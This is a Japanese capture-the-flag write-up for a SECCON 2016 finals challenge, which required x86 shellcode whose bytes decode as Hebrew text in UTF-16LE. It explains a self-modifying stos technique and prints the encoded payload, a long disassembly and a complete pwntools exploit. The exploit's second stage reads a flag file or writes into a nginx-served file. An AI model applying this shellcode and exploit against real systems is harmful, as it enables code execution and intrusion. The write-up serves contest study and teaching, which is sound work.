SECCON finals 2016: 伍(5)

,

problem

Holy shellcode using Hebrew characters in UTF-16LE

UTF-16LEでヘブライ語として解釈されるようなbyte列でx86 shellcodeを書く問題。

参考として以下のような表が与えられる。 表で青色で示されているのは修飾文字なのであまり自由には使えない。赤色もだいたい同様。

shellcodeを実行するためのバイナリも与えられている。

solution

使える命令が不足しているので、動的に命令を生成する必要がある。 書き込み可能な命令はstos BYTE PTR es:[edi], alのみなのでこれを用いて命令を書き込む。 call eaxで移ってくる都合上eaxにはbufferのアドレス$0x804a2a0$が入っている。 xchg edi, eaxがあるのでこれで移せばよい。

書き込み先はeipの進む先にしたい。 操作できるのはeaxのみなので、xchg edi, eaxの前にアドレスに加算しておく。 これにはsub al, 0xfbxor al, 0xfbを使う。

しかしalの操作では下位$1$byteしか増減させられずかつeaxの初期値が$0x804a2a0$なので、後のことを考えると空間が足りない。 $0x97$ (xchg edi, eax)は後ろに$0x05$ (add eax, 0x????????)を伴うので一度退避させたbufferのアドレスを戻してくることはできないのが問題であるが、この$0x05$を上書きして潰してやることでアドレスのeaxへの復帰が可能である。 eaxの下位byteを$0xff$にしてediへ移し、($0x05$を潰すと同時に)stosによるincrementで桁上げされた後のedieaxへ復帰させ、再度alを操作しediの再設定をすれば、eipからeaxまでの余裕を$250$byteほど作ることができる。 これで空間の問題は解決する。

次にfgetsのpltをcallする命令を書き込む。 書き込みと同時に発生するadd eax, 0x????????sub al, 0xfbを使って最下位byteを調整しながら、$1$byteずつ書き込めばよい。

後は単に無制約の機械語を流し込んでいい感じにする。

implementation

payload (UTF-8へ変換済み)

שּׁשּׁשּׁשּׁשּׁשּׁשּׁשּׁשּׁשּׁשּׁשּׁשּׁשּׁשּׁשּׁשּׁשּׁשּׁ֗נּלּלּ֪הּהּלּלּלּלּלּלּלּלּלּלּלּלּלּלּלּלּלּלּלּלּלּ֗הּשּׁ֗לּלּ֪ױלּ֪נּלּשּׁשּׁשּׁשּׁשּׁשּׁשּׁ֪לּלּשּׁשּׁשּׁשּׁשּׁהּ֪ךּלּשּׁשּׁשּׁשּׁשּׁשּׁשּׁשּׁ֪װלּשּׁשּׁשּׁשּׁ֪יּלּשּׁשּׁשּׁ֪װלּשּׁשּׁשּׁשּׁשּׁשּׁשּׁשּׁ֪נלּ֪נלּ֪טלּ֪ױלּשּׁשּׁשּׁ֪מּלּשּׁשּׁשּׁשּׁשּׁ֪טלּהּשּׁשּׁשּׁשּׁ֪ױלּשּׁשּׁשּׁ֪תלּשּׁשּׁשּׁ֪ױלּשּׁשּׁשּׁשּׁשּׁשּׁשּׁשּׁשּׁ֪ױלּשּׁשּׁשּׁ֪װלּלּלּלּלּלּלּלּלּלּלּלּלּלּלּלּלּלּלּלּלּ

payload (disasm)

804a2a0:       2c fb                   sub    al,0xfb
804a2a2:       2c fb                   sub    al,0xfb
804a2a4:       2c fb                   sub    al,0xfb
804a2a6:       2c fb                   sub    al,0xfb
804a2a8:       2c fb                   sub    al,0xfb
804a2aa:       2c fb                   sub    al,0xfb
804a2ac:       2c fb                   sub    al,0xfb
804a2ae:       2c fb                   sub    al,0xfb
804a2b0:       2c fb                   sub    al,0xfb
804a2b2:       2c fb                   sub    al,0xfb
804a2b4:       2c fb                   sub    al,0xfb
804a2b6:       2c fb                   sub    al,0xfb
804a2b8:       2c fb                   sub    al,0xfb
804a2ba:       2c fb                   sub    al,0xfb
804a2bc:       2c fb                   sub    al,0xfb
804a2be:       2c fb                   sub    al,0xfb
804a2c0:       2c fb                   sub    al,0xfb
804a2c2:       2c fb                   sub    al,0xfb
804a2c4:       2c fb                   sub    al,0xfb
804a2c6:       97                      xchg   edi,eax
804a2c7:       05 40 fb 3c fb          add    eax,0xfb3cfb40
804a2cc:       3c fb                   cmp    al,0xfb
804a2ce:       aa                      stos   BYTE PTR es:[edi],al
804a2cf:       05 34 fb 34 fb          add    eax,0xfb34fb34
804a2d4:       3c fb                   cmp    al,0xfb
804a2d6:       3c fb                   cmp    al,0xfb
804a2d8:       3c fb                   cmp    al,0xfb
804a2da:       3c fb                   cmp    al,0xfb
804a2dc:       3c fb                   cmp    al,0xfb
804a2de:       3c fb                   cmp    al,0xfb
804a2e0:       3c fb                   cmp    al,0xfb
804a2e2:       3c fb                   cmp    al,0xfb
804a2e4:       3c fb                   cmp    al,0xfb
804a2e6:       3c fb                   cmp    al,0xfb
804a2e8:       3c fb                   cmp    al,0xfb
804a2ea:       3c fb                   cmp    al,0xfb
804a2ec:       3c fb                   cmp    al,0xfb
804a2ee:       3c fb                   cmp    al,0xfb
804a2f0:       3c fb                   cmp    al,0xfb
804a2f2:       3c fb                   cmp    al,0xfb
804a2f4:       3c fb                   cmp    al,0xfb
804a2f6:       3c fb                   cmp    al,0xfb
804a2f8:       3c fb                   cmp    al,0xfb
804a2fa:       3c fb                   cmp    al,0xfb
804a2fc:       3c fb                   cmp    al,0xfb
804a2fe:       97                      xchg   edi,eax
804a2ff:       05 34 fb 2c fb          add    eax,0xfb2cfb34
804a304:       97                      xchg   edi,eax
804a305:       05 3c fb 3c fb          add    eax,0xfb3cfb3c
804a30a:       aa                      stos   BYTE PTR es:[edi],al
804a30b:       05 f1 05 3c fb          add    eax,0xfb3c05f1
804a310:       aa                      stos   BYTE PTR es:[edi],al
804a311:       05 40 fb 3c fb          add    eax,0xfb3cfb40
804a316:       2c fb                   sub    al,0xfb
804a318:       2c fb                   sub    al,0xfb
804a31a:       2c fb                   sub    al,0xfb
804a31c:       2c fb                   sub    al,0xfb
804a31e:       2c fb                   sub    al,0xfb
804a320:       2c fb                   sub    al,0xfb
804a322:       2c fb                   sub    al,0xfb
804a324:       aa                      stos   BYTE PTR es:[edi],al
804a325:       05 3c fb 3c fb          add    eax,0xfb3cfb3c
804a32a:       2c fb                   sub    al,0xfb
804a32c:       2c fb                   sub    al,0xfb
804a32e:       2c fb                   sub    al,0xfb
804a330:       2c fb                   sub    al,0xfb
804a332:       2c fb                   sub    al,0xfb
804a334:       34 fb                   xor    al,0xfb
804a336:       aa                      stos   BYTE PTR es:[edi],al
804a337:       05 3a fb 3c fb          add    eax,0xfb3cfb3a
804a33c:       2c fb                   sub    al,0xfb
804a33e:       2c fb                   sub    al,0xfb
804a340:       2c fb                   sub    al,0xfb
804a342:       2c fb                   sub    al,0xfb
804a344:       2c fb                   sub    al,0xfb
804a346:       2c fb                   sub    al,0xfb
804a348:       2c fb                   sub    al,0xfb
804a34a:       2c fb                   sub    al,0xfb
804a34c:       aa                      stos   BYTE PTR es:[edi],al
804a34d:       05 f0 05 3c fb          add    eax,0xfb3c05f0
804a352:       2c fb                   sub    al,0xfb
804a354:       2c fb                   sub    al,0xfb
804a356:       2c fb                   sub    al,0xfb
804a358:       2c fb                   sub    al,0xfb
804a35a:       aa                      stos   BYTE PTR es:[edi],al
804a35b:       05 39 fb 3c fb          add    eax,0xfb3cfb39
804a360:       2c fb                   sub    al,0xfb
804a362:       2c fb                   sub    al,0xfb
804a364:       2c fb                   sub    al,0xfb
804a366:       aa                      stos   BYTE PTR es:[edi],al
804a367:       05 f0 05 3c fb          add    eax,0xfb3c05f0
804a36c:       2c fb                   sub    al,0xfb
804a36e:       2c fb                   sub    al,0xfb
804a370:       2c fb                   sub    al,0xfb
804a372:       2c fb                   sub    al,0xfb
804a374:       2c fb                   sub    al,0xfb
804a376:       2c fb                   sub    al,0xfb
804a378:       2c fb                   sub    al,0xfb
804a37a:       2c fb                   sub    al,0xfb
804a37c:       aa                      stos   BYTE PTR es:[edi],al
804a37d:       05 e0 05 3c fb          add    eax,0xfb3c05e0
804a382:       aa                      stos   BYTE PTR es:[edi],al
804a383:       05 e0 05 3c fb          add    eax,0xfb3c05e0
804a388:       aa                      stos   BYTE PTR es:[edi],al
804a389:       05 d8 05 3c fb          add    eax,0xfb3c05d8
804a38e:       aa                      stos   BYTE PTR es:[edi],al
804a38f:       05 f1 05 3c fb          add    eax,0xfb3c05f1
804a394:       2c fb                   sub    al,0xfb
804a396:       2c fb                   sub    al,0xfb
804a398:       2c fb                   sub    al,0xfb
804a39a:       aa                      stos   BYTE PTR es:[edi],al
804a39b:       05 3e fb 3c fb          add    eax,0xfb3cfb3e
804a3a0:       2c fb                   sub    al,0xfb
804a3a2:       2c fb                   sub    al,0xfb
804a3a4:       2c fb                   sub    al,0xfb
804a3a6:       2c fb                   sub    al,0xfb
804a3a8:       2c fb                   sub    al,0xfb
804a3aa:       aa                      stos   BYTE PTR es:[edi],al
804a3ab:       05 d8 05 3c fb          add    eax,0xfb3c05d8
804a3b0:       34 fb                   xor    al,0xfb
804a3b2:       2c fb                   sub    al,0xfb
804a3b4:       2c fb                   sub    al,0xfb
804a3b6:       2c fb                   sub    al,0xfb
804a3b8:       2c fb                   sub    al,0xfb
804a3ba:       aa                      stos   BYTE PTR es:[edi],al
804a3bb:       05 f1 05 3c fb          add    eax,0xfb3c05f1
804a3c0:       2c fb                   sub    al,0xfb
804a3c2:       2c fb                   sub    al,0xfb
804a3c4:       2c fb                   sub    al,0xfb
804a3c6:       aa                      stos   BYTE PTR es:[edi],al
804a3c7:       05 ea 05 3c fb          add    eax,0xfb3c05ea
804a3cc:       2c fb                   sub    al,0xfb
804a3ce:       2c fb                   sub    al,0xfb
804a3d0:       2c fb                   sub    al,0xfb
804a3d2:       aa                      stos   BYTE PTR es:[edi],al
804a3d3:       05 f1 05 3c fb          add    eax,0xfb3c05f1
804a3d8:       2c fb                   sub    al,0xfb
804a3da:       2c fb                   sub    al,0xfb
804a3dc:       2c fb                   sub    al,0xfb
804a3de:       2c fb                   sub    al,0xfb
804a3e0:       2c fb                   sub    al,0xfb
804a3e2:       2c fb                   sub    al,0xfb
804a3e4:       2c fb                   sub    al,0xfb
804a3e6:       2c fb                   sub    al,0xfb
804a3e8:       2c fb                   sub    al,0xfb
804a3ea:       aa                      stos   BYTE PTR es:[edi],al
804a3eb:       05 f1 05 3c fb          add    eax,0xfb3c05f1
804a3f0:       2c fb                   sub    al,0xfb
804a3f2:       2c fb                   sub    al,0xfb
804a3f4:       2c fb                   sub    al,0xfb
804a3f6:       aa                      stos   BYTE PTR es:[edi],al
804a3f7:       05 f0 05 3c fb          add    eax,0xfb3c05f0
804a3fc:       3c fb                   cmp    al,0xfb
804a3fe:       3c fb                   cmp    al,0xfb
804a400:       3c fb                   cmp    al,0xfb
804a402:       3c fb                   cmp    al,0xfb
804a404:       3c fb                   cmp    al,0xfb
804a406:       3c fb                   cmp    al,0xfb
804a408:       3c fb                   cmp    al,0xfb
804a40a:       3c fb                   cmp    al,0xfb
804a40c:       3c fb                   cmp    al,0xfb
804a40e:       3c fb                   cmp    al,0xfb
804a410:       3c fb                   cmp    al,0xfb
804a412:       3c fb                   cmp    al,0xfb
804a414:       3c fb                   cmp    al,0xfb
804a416:       3c fb                   cmp    al,0xfb
804a418:       3c fb                   cmp    al,0xfb
804a41a:       3c fb                   cmp    al,0xfb
804a41c:       3c fb                   cmp    al,0xfb
804a41e:       3c fb                   cmp    al,0xfb
804a420:       3c fb                   cmp    al,0xfb
804a422:       3c fb                   cmp    al,0xfb

python

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='5.finals.seccon.jp')
parser.add_argument('port', nargs='?', default=12345, type=int)
parser.add_argument('--log-level', default='debug')
parser.add_argument('--binary', default='./musl')
parser.add_argument('--keyword')
args = parser.parse_args()
context.log_level = args.log_level
context.arch = 'i386'
context.bits = 32
elf = ELF(args.binary)
str_s = 0x8048fda # "%s(%d)\n"
str_d = 0x8048fdc # "(%d)\n"
log.info('system.plt: %#x', elf.plt['system'])
log.info('shellcode: %#x', elf.symbols['shellcode'])

gadgets = []
for c in list(range(0x1d, 0x36+1)) + list(range(0x38, 0x3c+1)) + [ 0x3e, 0x40 ]:
    gadgets += [ chr(c) + '\xfb' ]
for c in list(range(0x91, 0xc0+1)) + list(range(0xd0, 0xea+1)) + list(range(0xf0, 0xf4+1)):
    gadgets += [ chr(c) + '\x05' ]
for it in gadgets:
    log.info('%s:\n%s', repr(it), disasm(it + '\x90' * 4))

cmp_al_fb = '<\xfb' # black
nop = cmp_al_fb
xchg_edi_eax = '\x97\x05' # blue, del eax
stos_at_edi_al = '\xaa\x05' # del eax
sub_al_fb = ',\xfb' # or add 5
xor_al_fb = '4\xfb'

hebrew = ''
# move eax to the future
hebrew += sub_al_fb * 19
# move shellcode ptr to edi  (eax is 0xYYYYYY00 after here)
hebrew += xchg_edi_eax + '\x40\xfb' + '\x3c\xfb'
hebrew += nop
# make inc eax
hebrew += stos_at_edi_al + '4\xfb' + '4\xfb'  # write 0x40 : inc eax
hebrew += nop * 21
hebrew += xchg_edi_eax  # 0x05 is overwritten
assert elf.symbols['shellcode'] + len(hebrew) == 0x804a300
# here, eax is 0x01
hebrew += xor_al_fb
hebrew += sub_al_fb
# eax is 0xff
# re-set edi  (edi becomes 0x804a3fa after xchg, eax does 0xYYYYYY74)
hebrew += xchg_edi_eax + '\x3c\xfb' + '\x3c\xfb'
# 0:   a1 04 a2 04 08          mov eax, [obj.stdin__GLIBC_2.0]
# 1:   50
# 6:   68 48 28 00 00          push   0x2848
# 7:   57                      push   edi
# c:   e8 ?? ?? ?? ??          call   fgets  (0x80485f8 - (c+5))
#         e8 e1 ff ff                         0x80485f8 - (0x804a40b+5)
hebrew += stos_at_edi_al + '\xf1\x05' + '\x3c\xfb'  # write 0xb0 for nop
hebrew += stos_at_edi_al + '\x40\xfb' + '\x3c\xfb'  # write 0xa1
hebrew += sub_al_fb * 7
hebrew += stos_at_edi_al + '\x3c\xfb' + '\x3c\xfb'  # write 0x04
hebrew += sub_al_fb * 5
hebrew += xor_al_fb
hebrew += stos_at_edi_al + '\x3a\xfb' + '\x3c\xfb'  # write 0xa2
hebrew += sub_al_fb * 8
hebrew += stos_at_edi_al + '\xf0\x05' + '\x3c\xfb'  # write 0x04
hebrew += sub_al_fb * 4
hebrew += stos_at_edi_al + '\x39\xfb' + '\x3c\xfb'  # write 0x08
hebrew += sub_al_fb * 3
hebrew += stos_at_edi_al + '\xf0\x05' + '\x3c\xfb'  # write 0x50
hebrew += sub_al_fb * 8
hebrew += stos_at_edi_al + '\xe0\x05' + '\x3c\xfb'  # write 0x68
hebrew += stos_at_edi_al + '\xe0\x05' + '\x3c\xfb'  # write 0x48
hebrew += stos_at_edi_al + '\xd8\x05' + '\x3c\xfb'  # write 0x28
hebrew += stos_at_edi_al + '\xf1\x05' + '\x3c\xfb'  # write 0x00
hebrew += sub_al_fb * 3
hebrew += stos_at_edi_al + '\x3e\xfb' + '\x3c\xfb'  # write 0x00
hebrew += sub_al_fb * 5
hebrew += stos_at_edi_al + '\xd8\x05' + '\x3c\xfb'  # write 0x57
hebrew += xor_al_fb
hebrew += sub_al_fb * 4
hebrew += stos_at_edi_al + '\xf1\x05' + '\x3c\xfb'  # write 0xe8
hebrew += sub_al_fb * 3
hebrew += stos_at_edi_al + '\xea\x05' + '\x3c\xfb'  # write 0xe8
hebrew += sub_al_fb * 3
hebrew += stos_at_edi_al + '\xf1\x05' + '\x3c\xfb'  # write 0xe1
hebrew += sub_al_fb * 9
hebrew += stos_at_edi_al + '\xf1\x05' + '\x3c\xfb'  # write 0xff
hebrew += sub_al_fb * 3
hebrew += stos_at_edi_al + '\xf0\x05' + '\x3c\xfb'  # write 0xff
hebrew += nop * 20

if args.keyword:
    shellcode = []
    shellcode += [ # open
        'push %d' % u32('xt\0\0'),
        'push %d' % u32('ag.t'),
        'push %d' % u32('e/fl'),
        'push %d' % u32('fens'),
        'push %d' % u32('l/de'),
        'push %d' % u32('/htm'),
        'push %d' % u32('ginx'),
        'push %d' % u32('re/n'),
        'push %d' % u32('/sha'),
        'push %d' % u32('/usr'),
        'mov eax, esp',
        'mov ebx, eax',
        'mov ecx, 0x401', # O_WRONLY | O_APPEND
        'mov edx, 0', # mode ?
        'mov eax, 5', # sys_open
        'int 0x80',
        'mov esi, eax',
    ]
    keyword = args.keyword
    shellcode += [ # write
        'mov ebx, 0x30020202',
        'mov eax, 0x00080808',
        'xor ebx, eax',
        'push ebx', # "\n\n\n\n"
        'push %d' % u32(keyword[0x1c :][: 0x4]),
        'push %d' % u32(keyword[0x18 :][: 0x4]),
        'push %d' % u32(keyword[0x14 :][: 0x4]),
        'push %d' % u32(keyword[0x10 :][: 0x4]),
        'push %d' % u32(keyword[0x0c :][: 0x4]),
        'push %d' % u32(keyword[0x08 :][: 0x4]),
        'push %d' % u32(keyword[0x04 :][: 0x4]),
        'push %d' % u32(keyword[0x00 :][: 0x4]),
        'mov ebx, 0x02020230',
        'mov eax, 0x08080800',
        'xor ebx, eax',
        'push ebx', # "\n\n\n\n"
        'mov eax, esp',
        'mov edx, %d' % (len(keyword) + 8), # count
        'mov ecx, eax', # buf
        'mov ebx, esi', # fd
        'mov eax, 4', # sys_write
        'int 0x80',
    ]
    shellcode = asm('\n'.join(shellcode))
else:
    shellcode = asm('\n'.join([
        # open
        'push %d' % u32('txt\0'),
        'push %d' % u32('ord.'),
        'push %d' % u32('keyw'),
        'mov eax, esp',
        'mov ebx, eax',
        'mov ecx, 0', # O_RDONLY
        'mov edx, 0', # mode ?
        'mov eax, 5', # sys_open
        'int 0x80',
        'mov esi, eax',
        # read
        'mov edx, 400', # count
        'mov ecx, %d' % elf.symbols['shellcode'], # buf
        'mov ebx, esi', # fd
        'mov eax, 3', # sys_read
        'int 0x80',
        # send
        'push %d' % elf.symbols['shellcode'],
        'mov eax, %d' % elf.plt['printf'],
        'call eax',
    ]))
    # => SECCON{John_the_8_7}

log.info('%s', fiddling.hexdump(hebrew))
log.info(disasm(hebrew, vma=elf.symbols['shellcode']))
log.info('length: %d', len(hebrew))

p = remote(args.host, args.port)
p.send(hebrew + '\n' + shellcode + '\n')
log.info(p.recvall())